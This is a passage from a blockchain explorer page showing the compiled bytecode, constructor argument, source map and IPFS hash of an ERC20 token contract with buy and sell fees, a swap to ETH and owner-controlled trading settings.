2054909150610e1b908290611642565b6004546001600160a01b0316600090815260016020526040902055505b8015610eb25730600090815260016020526040902054610e58908261128b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ea99085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610ed590836112ea565b6001600160a01b038516600090815260016020526040902055610f1a610efb83836112ea565b6001600160a01b0385166000908152600160205260409020549061128b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f6485856112ea565b60405190815260200160405180910390a350505050565b60008184841115610f9f5760405162461bcd60e51b815260040161031b919061135a565b506000610fac848661166e565b95945050505050565b600060075460095411610fc9575060055490565b600754600954118015610fe05750600d5460095411155b15610fec5750600b5490565b50600e5490565b6000826000036110055750600061049c565b6000611011838561160e565b90508261101e8583611681565b146110755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161031b565b9392505050565b600061107583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061132c565b6000600854600954116110d2575060065490565b6008546009541180156110e95750600d5460095411155b156110f55750600c5490565b50600f5490565b600081831161110b5782611075565b50919050565b6015805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611159576111596116a3565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d69190611625565b816001815181106111e9576111e96116a3565b6001600160a01b03928316602091820292909201015260145461120f913091168461087c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112489085906000908690309042906004016116b9565b600060405180830381600087803b15801561126257600080fd5b505af1158015611276573d6000803e3d6000fd5b50506015805460ff60a01b1916905550505050565b6000806112988385611642565b9050838110156110755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161031b565b600061107583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f7b565b6000818361134d5760405162461bcd60e51b815260040161031b919061135a565b506000610fac8486611681565b600060208083528351808285015260005b818110156113875785810183015185820160400152820161136b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461087957600080fd5b600080604083850312156113d057600080fd5b82356113db816113a8565b946020939093013593505050565b6000806000606084860312156113fe57600080fd5b8335611409816113a8565b92506020840135611419816113a8565b929592945050506040919091013590565b60006020828403121561143c57600080fd5b8135611075816113a8565b6000806040838503121561145a57600080fd5b8235611465816113a8565b91506020830135611475816113a8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156114ca57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114f557600080fd5b8151801515811461107557600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561155657816000190482111561153c5761153c611505565b8085161561154957918102915b93841c9390800290611520565b509250929050565b60008261156d5750600161049c565b8161157a5750600061049c565b8160018114611590576002811461159a576115b6565b600191505061049c565b60ff8411156115ab576115ab611505565b50506001821b61049c565b5060208310610133831016604e8410600b84101617156115d9575081810a61049c565b6115e3838361151b565b80600019048211156115f7576115f7611505565b029392505050565b600061107560ff84168361155e565b808202811582820484141761049c5761049c611505565b60006020828403121561163757600080fd5b8151611075816113a8565b8082018082111561049c5761049c611505565b60006001820161166757611667611505565b5060010190565b8181038181111561049c5761049c611505565b60008261169e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117095784516001600160a01b0316835293830193918301916001016116e4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023ffd30bf530cabbc2d4dfcd82adca4df8138dadb7d8201163eba9a8431068fb64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000043b609f678329570f0681dc518a8b43f2f2fa8b6
-----Decoded View---------------
Arg [0] : _wallet (address): 0x43B609f678329570F0681DC518a8B43f2F2fA8B6
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000043b609f678329570f0681dc518a8b43f2f2fa8b6
Deployed Bytecode Sourcemap
3824:8299:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11494:394;;;;;;;;;;;;;:::i;:::-;;5685:83;;;;;;;;;;-1:-1:-1;5755:5:0;;;;;;;;;;;-1:-1:-1;;;5755:5:0;;;;5685:83;;;;5755:5;5685:83;:::i;:::-;;;;;;;;6687:186;;;;;;;;;;-1:-1:-1;6687:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6687:186:0;1023:187:1;5962:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5962:95:0;1215:177:1;9114:446:0;;;;;;;;;;-1:-1:-1;9114:446:0;;;;;:::i;:::-;;:::i;5871:83::-;;;;;;;;;;-1:-1:-1;5871:83:0;;4632:1;2000:36:1;;1988:2;1973:18;5871:83:0;1858:184:1;6065:119:0;;;;;;;;;;-1:-1:-1;6065:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6158:18:0;6131:7;6158:18;;;:9;:18;;;;;;;6065:119;2855:148;;;;;;;;;;;;;:::i;11896:114::-;;;;;;;;;;;;;:::i;2641:79::-;;;;;;;;;;-1:-1:-1;2679:7:0;2706:6;2641:79;;-1:-1:-1;;;;;2706:6:0;;;2445:51:1;;2433:2;2418:18;2641:79:0;2299:203:1;11095:391:0;;;;;;;;;;;;;:::i;6192:192::-;;;;;;;;;;-1:-1:-1;6192:192:0;;;;;:::i;:::-;;:::i;12018:102::-;;;;;;;;;;;;;:::i;6511:168::-;;;;;;;;;;-1:-1:-1;6511:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6644:18:0;;;6617:7;6644:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6511:168;11494:394;2768:6;;-1:-1:-1;;;;;2768:6:0;268:10;2768:22;2760:67;;;;-1:-1:-1;;;2760:67:0;;;;;;;:::i;:::-;;;;;;;;;11547:15:::1;::::0;-1:-1:-1;;;;;11547:15:0::1;:31;11586:21;11631:4;11651:24;11631:4:::0;-1:-1:-1;;;;;6158:18:0;6131:7;6158:18;;;:9;:18;;;;;;;6065:119;11651:24:::1;11690:1;11706::::0;11722:7:::1;2679::::0;2706:6;-1:-1:-1;;;;;2706:6:0;;2641:79;11722:7:::1;11547:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11547:223:0;;;-1:-1:-1;;;;;3620:15:1;;;11547:223:0::1;::::0;::::1;3602:34:1::0;3652:18;;;3645:34;;;;3695:18;;;3688:34;;;;3738:18;;;3731:34;3802:15;;;3781:19;;;3774:44;11744:15:0::1;3834:19:1::0;;;3827:35;3536:19;;11547:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11788:12:0::1;::::0;11818:15:::1;::::0;11781:70:::1;::::0;-1:-1:-1;;;11781:70:0;;-1:-1:-1;;;;;11818:15:0;;::::1;11781:70;::::0;::::1;4358:51:1::0;-1:-1:-1;;4425:18:1;;;4418:34;11788:12:0;::::1;::::0;-1:-1:-1;11781:28:0::1;::::0;4331:18:1;;11781:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11862:11:0::1;:18:::0;;-1:-1:-1;;;;11862:18:0::1;-1:-1:-1::0;;;11862:18:0::1;::::0;;11494:394::o;6687:186::-;6787:4;6804:39;268:10;6827:7;6836:6;6804:8;:39::i;:::-;-1:-1:-1;6861:4:0;6687:186;;;;;:::o;5962:95::-;6015:7;4691:15;4632:1;4691:2;:15;:::i;:::-;4675:31;;:13;:31;:::i;:::-;6035:14;;5962:95;:::o;9114:446::-;9246:4;9263:36;9273:6;9281:9;9292:6;9263:9;:36::i;:::-;9310:220;9333:6;268:10;9381:138;9437:6;9381:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9381:19:0;;;;;;:11;:19;;;;;;;;268:10;9381:33;;;;;;;;;;:37;:138::i;:::-;9310:8;:220::i;:::-;-1:-1:-1;9548:4:0;9114:446;;;;;:::o;2855:148::-;2768:6;;-1:-1:-1;;;;;2768:6:0;268:10;2768:22;2760:67;;;;-1:-1:-1;;;2760:67:0;;;;;;;:::i;:::-;2962:1:::1;2946:6:::0;;2925:40:::1;::::0;-1:-1:-1;;;;;2946:6:0;;::::1;::::0;2925:40:::1;::::0;2962:1;;2925:40:::1;2993:1;2976:19:::0;;-1:-1:-1;;;;;;2976:19:0::1;::::0;;2855:148::o;11896:114::-;2768:6;;-1:-1:-1;;;;;2768:6:0;268:10;2768:22;2760:67;;;;-1:-1:-1;;;2760:67:0;;;;;;;:::i;:::-;4691:15:::1;4632:1;4691:2;:15;:::i;:::-;4675:31;::::0;:13:::1;:31;:::i;:::-;11946:15;:25:::0;4691:15:::1;4632:1;4691:2;:15;:::i;:::-;4675:31;::::0;:13:::1;:31;:::i;:::-;11982:10;:20:::0;11896:114::o;11095:391::-;2768:6;;-1:-1:-1;;;;;2768:6:0;268:10;2768:22;2760:67;;;;-1:-1:-1;;;2760:67:0;;;;;;;:::i;:::-;11148:15:::1;:104:::0;;-1:-1:-1;;;;;;11148:104:0::1;11199:42;11148:104:::0;;::::1;::::0;;;11263:58:::1;::::0;11280:4:::1;::::0;4691:15:::1;4632:1;4691:2;:15;:::i;:::-;4675:31;::::0;:13:::1;:31;:::i;11263:58::-;11365:15;;;;;;;;;-1:-1:-1::0;;;;;11365:15:0::1;-1:-1:-1::0;;;;;11365:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11347:55:0::1;;11425:4;11445:15;;;;;;;;;-1:-1:-1::0;;;;;11445:15:0::1;-1:-1:-1::0;;;;;11445:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11347:131;::::0;-1:-1:-1;;;;;;11347:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6919:15:1;;;11347:131:0::1;::::0;::::1;6901:34:1::0;6971:15;;6951:18;;;6944:43;6836:18;;11347:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11332:12;:146:::0;;-1:-1:-1;;;;;;11332:146:0::1;-1:-1:-1::0;;;;;11332:146:0;;;::::1;::::0;;;::::1;::::0;;11095:391::o;6192:192::-;6295:4;6312:42;268:10;6336:9;6347:6;6312:9;:42::i;12018:102::-;2768:6;;-1:-1:-1;;;;;2768:6:0;268:10;2768:22;2760:67;;;;-1:-1:-1;;;2760:67:0;;;;;;;:::i;:::-;12067:13:::1;::::0;:45:::1;::::0;-1:-1:-1;;;;;12067:13:0;;::::1;::::0;12090:21:::1;12067:45:::0;::::1;;;::::0;:13:::1;:45:::0;:13;:45;12090:21;12067:13;:45;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12018:102::o:0;9568:335::-;-1:-1:-1;;;;;9661:19:0;;9653:68;;;;-1:-1:-1;;;9653:68:0;;7200:2:1;9653:68:0;;;7182:21:1;7239:2;7219:18;;;7212:30;7278:34;7258:18;;;7251:62;-1:-1:-1;;;7329:18:1;;;7322:34;7373:19;;9653:68:0;6998:400:1;9653:68:0;-1:-1:-1;;;;;9740:21:0;;9732:68;;;;-1:-1:-1;;;9732:68:0;;7605:2:1;9732:68:0;;;7587:21:1;7644:2;7624:18;;;7617:30;7683:34;7663:18;;;7656:62;-1:-1:-1;;;7734:18:1;;;7727:32;7776:19;;9732:68:0;7403:398:1;9732:68:0;-1:-1:-1;;;;;9811:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9863:32;;1361:25:1;;;9863:32:0;;1334:18:1;9863:32:0;;;;;;;9568:335;;;:::o;6881:2225::-;-1:-1:-1;;;;;6969:18:0;;6961:68;;;;-1:-1:-1;;;6961:68:0;;8008:2:1;6961:68:0;;;7990:21:1;8047:2;8027:18;;;8020:30;8086:34;8066:18;;;8059:62;-1:-1:-1;;;8137:18:1;;;8130:35;8182:19;;6961:68:0;7806:401:1;6961:68:0;-1:-1:-1;;;;;7048:16:0;;7040:64;;;;-1:-1:-1;;;7040:64:0;;8414:2:1;7040:64:0;;;8396:21:1;8453:2;8433:18;;;8426:30;8492:34;8472:18;;;8465:62;-1:-1:-1;;;8543:18:1;;;8536:33;8586:19;;7040:64:0;8212:399:1;7040:64:0;7132:1;7123:6;:10;7115:64;;;;-1:-1:-1;;;7115:64:0;;8818:2:1;7115:64:0;;;8800:21:1;8857:2;8837:18;;;8830:30;8896:34;8876:18;;;8869:62;-1:-1:-1;;;8947:18:1;;;8940:39;8996:19;;7115:64:0;8616:405:1;7115:64:0;-1:-1:-1;;;;;7227:23:0;;7190:17;7227:23;;;:17;:23;;;;;;;;7226:24;:50;;;;-1:-1:-1;;;;;;7255:21:0;;;;;;:17;:21;;;;;;;;7254:22;7226:50;7222:1513;;;7305:34;7335:3;7305:25;7316:13;:11;:13::i;:::-;7305:6;;:10;:25::i;:::-;:29;;:34::i;:::-;7386:12;;7293:46;;-1:-1:-1;;;;;;7378:20:0;;;7386:12;;7378:20;:71;;;;-1:-1:-1;7433:15:0;;-1:-1:-1;;;;;7419:30:0;;;7433:15;;7419:30;;7378:71;:114;;;;-1:-1:-1;;;;;;7471:21:0;;;;;;:17;:21;;;;;;;;7470:22;7378:114;7356:438;;;7545:10;;7535:6;:20;;7527:56;;;;-1:-1:-1;;;7527:56:0;;9228:2:1;7527:56:0;;;9210:21:1;9267:2;9247:18;;;9240:30;9306:25;9286:18;;;9279:53;9349:18;;7527:56:0;9026:347:1;7527:56:0;7658:15;;7648:6;7632:13;7642:2;-1:-1:-1;;;;;6158:18:0;6131:7;6158:18;;;:9;:18;;;;;;;6065:119;7632:13;:22;;;;:::i;:::-;:41;;7602:141;;;;-1:-1:-1;;;7602:141:0;;9710:2:1;7602:141:0;;;9692:21:1;9749:2;9729:18;;;9722:30;9788:28;9768:18;;;9761:56;9834:18;;7602:141:0;9508:350:1;7602:141:0;7762:14;:16;;;:14;:16;;;:::i;:::-;;;;;;7356:438;7820:12;;-1:-1:-1;;;;;7814:18:0;;;7820:12;;7814:18;:43;;;;-1:-1:-1;;;;;;7836:21:0;;7852:4;7836:21;;7814:43;7810:131;;;7890:35;7921:3;7890:26;7901:14;:12;:14::i;7890:35::-;7878:47;;7810:131;8006:4;7957:28;6158:18;;;:9;:18;;;;;;8050:7;;-1:-1:-1;;;8050:7:0;;;;8049:8;:47;;;;-1:-1:-1;8084:12:0;;-1:-1:-1;;;;;8078:18:0;;;8084:12;;8078:18;8049:47;:79;;;;-1:-1:-1;8117:11:0;;-1:-1:-1;;;8117:11:0;;;;8049:79;:117;;;;;8158:8;;8149:6;:17;8049:117;:173;;;;;8204:18;;8187:14;;:35;8049:173;8027:433;;;8284:8;;8261:20;:31;8257:121;;;8315:63;8329:48;8333:6;8341:35;8345:20;8367:8;;8341:3;:35::i;:::-;8329:3;:48::i;:::-;8315:13;:63::i;:::-;8399:13;;:45;;-1:-1:-1;;;;;8399:13:0;;;;8422:21;8399:45;;;;;:13;:45;:13;:45;8422:21;8399:13;:45;;;;;;;;;;;;;;;;;;;;;8027:433;7278:1193;7222:1513;;;-1:-1:-1;;;;;8481:23:0;;;;;;:17;:23;;;;;;;;:48;;;;-1:-1:-1;;;;;;8508:21:0;;8524:4;8508:21;;8481:48;:71;;;;-1:-1:-1;;;;;;8533:19:0;;8547:4;8533:19;;8481:71;8477:258;;;8569:19;8610:31;8627:13;;8610:12;;:16;;:31;;;;:::i;:::-;8600:42;;:6;:42;:::i;:::-;8591:51;;:6;:51;:::i;:::-;8695:13;;-1:-1:-1;;;;;8695:13:0;8685:24;;;;:9;:24;;;;;;8569:73;;-1:-1:-1;8685:38:0;;8569:73;;8685:38;:::i;:::-;8667:13;;-1:-1:-1;;;;;8667:13:0;8657:24;;;;:9;:24;;;;;:66;-1:-1:-1;8477:258:0;8751:13;;8747:172;;8826:4;8808:24;;;;:9;:24;;;;;;:39;;8837:9;8808:28;:39::i;:::-;8799:4;8781:24;;;;:9;:24;;;;;;;:66;;;;8867:40;;-1:-1:-1;;;;;8867:40:0;;;;;;;8897:9;1361:25:1;;1349:2;1334:18;;1215:177;8867:40:0;;;;;;;;8747:172;-1:-1:-1;;;;;8947:15:0;;;;;;:9;:15;;;;;;:27;;8967:6;8947:19;:27::i;:::-;-1:-1:-1;;;;;8929:15:0;;;;;;:9;:15;;;;;:45;9001:40;9019:21;:6;9030:9;9019:10;:21::i;:::-;-1:-1:-1;;;;;9001:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8985:13:0;;;;;;;:9;:13;;;;;:56;;;;9057:41;;;9076:21;:6;9087:9;9076:10;:21::i;:::-;9057:41;;1361:25:1;;;1349:2;1334:18;9057:41:0;;;;;;;6950:2156;6881:2225;;;:::o;1443:224::-;1563:7;1599:12;1591:6;;;;1583:29;;;;-1:-1:-1;;;1583:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1623:9:0;1635:5;1639:1;1635;:5;:::i;:::-;1623:17;1443:224;-1:-1:-1;;;;;1443:224:0:o;10262:337::-;10307:7;10349:12;;10331:14;;:30;10327:82;;-1:-1:-1;10385:12:0;;;10262:337::o;10327:82::-;10454:12;;10437:14;;:29;:66;;;;;10488:15;;10470:14;;:33;;10437:66;10419:143;;;-1:-1:-1;10537:13:0;;;10262:337::o;10419:143::-;-1:-1:-1;10579:12:0;;;10262:337::o;1675:246::-;1733:7;1757:1;1762;1757:6;1753:47;;-1:-1:-1;1787:1:0;1780:8;;1753:47;1810:9;1822:5;1826:1;1822;:5;:::i;:::-;1810:17;-1:-1:-1;1855:1:0;1846:5;1850:1;1810:17;1846:5;:::i;:::-;:10;1838:56;;;;-1:-1:-1;;;1838:56:0;;10560:2:1;1838:56:0;;;10542:21:1;10599:2;10579:18;;;10572:30;10638:34;10618:18;;;10611:62;-1:-1:-1;;;10689:18:1;;;10682:31;10730:19;;1838:56:0;10358:397:1;1838:56:0;1912:1;1675:246;-1:-1:-1;;;1675:246:0:o;1929:132::-;1987:7;2014:39;2018:1;2021;2014:39;;;;;;;;;;;;;;;;;:3;:39::i;9911:343::-;9957:7;9999:13;;9981:14;;:31;9977:84;;-1:-1:-1;10036:13:0;;;9911:343::o;9977:84::-;10106:13;;10089:14;;:30;:67;;;;;10141:15;;10123:14;;:33;;10089:67;10071:145;;;-1:-1:-1;10190:14:0;;;9911:343::o;10071:145::-;-1:-1:-1;10233:13:0;;;9911:343::o;6396:107::-;6453:7;6485:1;6481;:5;6480:15;;6494:1;6480:15;;;-1:-1:-1;6490:1:0;6396:107;-1:-1:-1;6396:107:0:o;10607:480::-;5243:7;:14;;-1:-1:-1;;;;5243:14:0;-1:-1:-1;;;5243:14:0;;;10706:16:::1;::::0;;10720:1:::1;10706:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10706:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10706:16:0::1;10682:40;;10751:4;10733;10738:1;10733:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10733:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10777:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10777:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10733:7;;10777:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10767:4;10772:1;10767:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10767:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10842:15:::1;::::0;10810:62:::1;::::0;10827:4:::1;::::0;10842:15:::1;10860:11:::0;10810:8:::1;:62::i;:::-;10883:15;::::0;:196:::1;::::0;-1:-1:-1;;;10883:196:0;;-1:-1:-1;;;;;10883:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10964:11;;10883:15:::1;::::0;11006:4;;11033::::1;::::0;11053:15:::1;::::0;10883:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5280:7:0;:15;;-1:-1:-1;;;;5280:15:0;;;-1:-1:-1;;;;10607:480:0:o;1112:179::-;1170:7;;1202:5;1206:1;1202;:5;:::i;:::-;1190:17;;1231:1;1226;:6;;1218:46;;;;-1:-1:-1;;;1218:46:0;;12211:2:1;1218:46:0;;;12193:21:1;12250:2;12230:18;;;12223:30;12289:29;12269:18;;;12262:57;12336:18;;1218:46:0;12009:351:1;1299:136:0;1357:7;1384:43;1388:1;1391;1384:43;;;;;;;;;;;;;;;;;:3;:43::i;2069:223::-;2189:7;2224:12;2217:5;2209:28;;;;-1:-1:-1;;;2209:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2248:9:0;2260:5;2264:1;2260;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3873:306::-;3961:6;3969;3977;4030:2;4018:9;4009:7;4005:23;4001:32;3998:52;;;4046:1;4043;4036:12;3998:52;4075:9;4069:16;4059:26;;4125:2;4114:9;4110:18;4104:25;4094:35;;4169:2;4158:9;4154:18;4148:25;4138:35;;3873:306;;;;;:::o;4463:277::-;4530:6;4583:2;4571:9;4562:7;4558:23;4554:32;4551:52;;;4599:1;4596;4589:12;4551:52;4631:9;4625:16;4684:5;4677:13;4670:21;4663:5;4660:32;4650:60;;4706:1;4703;4696:12;4745:127;4806:10;4801:3;4797:20;4794:1;4787:31;4837:4;4834:1;4827:15;4861:4;4858:1;4851:15;4877:422;4966:1;5009:5;4966:1;5023:270;5044:7;5034:8;5031:21;5023:270;;;5103:4;5099:1;5095:6;5091:17;5085:4;5082:27;5079:53;;;5112:18;;:::i;:::-;5162:7;5152:8;5148:22;5145:55;;;5182:16;;;;5145:55;5261:22;;;;5221:15;;;;5023:270;;;5027:3;4877:422;;;;;:::o;5304:806::-;5353:5;5383:8;5373:80;;-1:-1:-1;5424:1:1;5438:5;;5373:80;5472:4;5462:76;;-1:-1:-1;5509:1:1;5523:5;;5462:76;5554:4;5572:1;5567:59;;;;5640:1;5635:130;;;;5547:218;;5567:59;5597:1;5588:10;;5611:5;;;5635:130;5672:3;5662:8;5659:17;5656:43;;;5679:18;;:::i;:::-;-1:-1:-1;;5735:1:1;5721:16;;5750:5;;5547:218;;5849:2;5839:8;5836:16;5830:3;5824:4;5821:13;5817:36;5811:2;5801:8;5798:16;5793:2;5787:4;5784:12;5780:35;5777:77;5774:159;;;-1:-1:-1;5886:19:1;;;5918:5;;5774:159;5965:34;5990:8;5984:4;5965:34;:::i;:::-;6035:6;6031:1;6027:6;6023:19;6014:7;6011:32;6008:58;;;6046:18;;:::i;:::-;6084:20;;5304:806;-1:-1:-1;;;5304:806:1:o;6115:140::-;6173:5;6202:47;6243:4;6233:8;6229:19;6223:4;6202:47;:::i;6260:168::-;6333:9;;;6364;;6381:15;;;6375:22;;6361:37;6351:71;;6402:18;;:::i;6433:251::-;6503:6;6556:2;6544:9;6535:7;6531:23;6527:32;6524:52;;;6572:1;6569;6562:12;6524:52;6604:9;6598:16;6623:31;6648:5;6623:31;:::i;9378:125::-;9443:9;;;9464:10;;;9461:36;;;9477:18;;:::i;9863:135::-;9902:3;9923:17;;;9920:43;;9943:18;;:::i;:::-;-1:-1:-1;9990:1:1;9979:13;;9863:135::o;10003:128::-;10070:9;;;10091:11;;;10088:37;;;10105:18;;:::i;10136:217::-;10176:1;10202;10192:132;;10246:10;10241:3;10237:20;10234:1;10227:31;10281:4;10278:1;10271:15;10309:4;10306:1;10299:15;10192:132;-1:-1:-1;10338:9:1;;10136:217::o;10892:127::-;10953:10;10948:3;10944:20;10941:1;10934:31;10984:4;10981:1;10974:15;11008:4;11005:1;10998:15;11024:980;11286:4;11334:3;11323:9;11319:19;11365:6;11354:9;11347:25;11391:2;11429:6;11424:2;11413:9;11409:18;11402:34;11472:3;11467:2;11456:9;11452:18;11445:31;11496:6;11531;11525:13;11562:6;11554;11547:22;11600:3;11589:9;11585:19;11578:26;;11639:2;11631:6;11627:15;11613:29;;11660:1;11670:195;11684:6;11681:1;11678:13;11670:195;;;11749:13;;-1:-1:-1;;;;;11745:39:1;11733:52;;11840:15;;;;11805:12;;;;11781:1;11699:9;11670:195;;;-1:-1:-1;;;;;;;11921:32:1;;;;11916:2;11901:18;;11894:60;-1:-1:-1;;;11985:3:1;11970:19;11963:35;11882:3;11024:980;-1:-1:-1;;;11024:980:1:o
Swarm Source
ipfs://23ffd30bf530cabbc2d4dfcd82adca4df8138dadb7d8201163eba9a8431068fb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.